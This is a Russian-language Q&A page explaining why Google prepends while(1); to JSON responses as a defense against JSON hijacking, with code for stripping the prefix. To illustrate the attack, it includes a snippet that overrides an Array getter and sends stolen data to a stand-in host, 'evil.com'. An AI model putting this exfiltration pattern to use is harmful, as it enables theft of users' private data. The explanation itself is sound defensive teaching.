Avatar ·

Почему Google добавляет while(1); в начало JSON-ответов?

Всем привет! Я начинающий фронтенд-разработчик и недавно заметил странную вещь при работе с Google API. Когда я делаю AJAX-запрос к их серверам, в ответ приходит JSON, но перед ним стоит странная конструкция: `while(1);`. Например, ответ выглядит так: ```javascript while(1); {"name": "John", "age": 30} ``` Сначала я подумал, что это какая-то ошибка или баг. Но потом заметил, что это происходит постоянно. Мой код на JavaScript перестал работать, потому что `JSON.parse()` выдает ошибку из-за этого префикса. Вот как я пытался получить данные: ```javascript fetch('https://example.com/api/data') .then(response => response.json()) .then(data => console.log(data)) .catch(error => console.error('Ошибка:', error)); ``` Естественно, это не работает, потому что ответ не является чистым JSON. Я погуглил и нашел, что Google использует эту технику, но не понял зачем. Зачем портить валидный JSON? Это какая-то защита от чего-то? И как мне правильно обрабатывать такие ответы? Объясните, пожалуйста, подробно, почему Google так делает и как мне адаптировать свой код для работы с такими ответами. Заранее спасибо! <<>>

Что такое while(1); и зачем это нужно?

Вы столкнулись с классической техникой защиты от JSON Hijacking (угона JSON). Это атака, которая была особенно актуальна в эпоху, когда многие сайты использовали устаревший метод получения данных — <script> теги вместо XMLHttpRequest или fetch.

В старых браузерах можно было подменить массив (Array) или Object через прототипы. Например, злоумышленник мог разместить на своем сайте такой код:

// Зловредный код на сайте злоумышленника
Array.prototype.__defineGetter__('0', function() {
  // Отправляем данные на сервер злоумышленника
  new Image().src = 'http://evil.com/steal?data=' + JSON.stringify(this);
});

// Подключаем скрипт с уязвимого сайта
var script = document.createElement('script');
script.src = 'http://bank.com/api/transactions';
document.body.appendChild(script);

Если сервер банка возвращал чистый JSON-массив, например [{"amount": 1000, "to": "attacker"}], то браузер выполнял его как JavaScript-код. А из-за переопределенного геттера массива данные утекали злоумышленнику.

Как защищает while(1);?

Google и другие крупные компании добавляют бесконечный цикл while(1); перед JSON, чтобы:

  • Предотвратить выполнение через <script> — браузер входит в бесконечный цикл и зависает, данные не утекают.
  • Заставить использовать правильные методы запросов — настоящие AJAX-запросы (fetch, XMLHttpRequest) могут легко удалить этот префикс.
  • Защитить от устаревших браузеров — техника работает даже в IE6/7, где не было CORS и других современных механизмов.

Как правильно обрабатывать такие ответы?

Вам нужно получить сырой текст ответа, удалить префикс while(1); и только потом парсить JSON. Вот два способа:

Способ 1: Через fetch и text()

fetch('https://example.com/api/data')
  .then(response => response.text()) // Получаем как текст
  .then(text => {
    // Удаляем префикс while(1);
    const jsonText = text.replace(/^while\(1\);/, '');
    const data = JSON.parse(jsonText);
    console.log(data);
  })
  .catch(error => console.error('Ошибка:', error));

Способ 2: Через XMLHttpRequest

const xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/api/data');
xhr.onload = function() {
  const rawText = xhr.responseText;
  const jsonText = rawText.replace(/^while\(1\);/, '');
  const data = JSON.parse(jsonText);
  console.log(data);
};
xhr.send();

Почему это не мешает легитимным запросам?

Google ожидает, что настоящие клиенты (ваше приложение) будут использовать AJAX и сами удалять префикс. А вот если злоумышленник попытается подключить API через <script> тег, его сайт зависнет в бесконечном цикле. Это простая, но эффективная защита.

Важно: Современные браузеры (Chrome, Firefox, Safari) уже защищены от JSON Hijacking на уровне платформы. Однако Google продолжает использовать эту технику для обратной совместимости и защиты старых версий браузеров.

<<>>

Альтернативный подход: Использование готовых библиотек

Если вы не хотите вручную обрабатывать префикс while(1);, можно использовать готовые решения. Например, популярная библиотека axios автоматически обрабатывает такие случаи, если настроить трансформер ответов:

import axios from 'axios';

const api = axios.create({
  baseURL: 'https://example.com/api',
  transformResponse: [
    function(data) {
      // Удаляем while(1); если он есть
      if (typeof data === 'string') {
        data = data.replace(/^while\(1\);/, '');
      }
      return JSON.parse(data);
    }
  ]
});

api.get('/data')
  .then(response => console.log(response.data))
  .catch(error => console.error(error));

Почему не стоит парсить вручную каждый раз?

Ручное удаление префикса в каждом запросе — это лишний код и потенциальный источник ошибок. Лучше создать единую функцию-обертку или использовать перехватчики (interceptors).

Дополнительная рекомендация

Обратите внимание, что некоторые API (например, YouTube Data API) используют другой префикс: )]}'. Принцип тот же — защита от угона JSON. Ваш обработчик должен быть гибким и удалять любые подобные префиксы перед парсингом.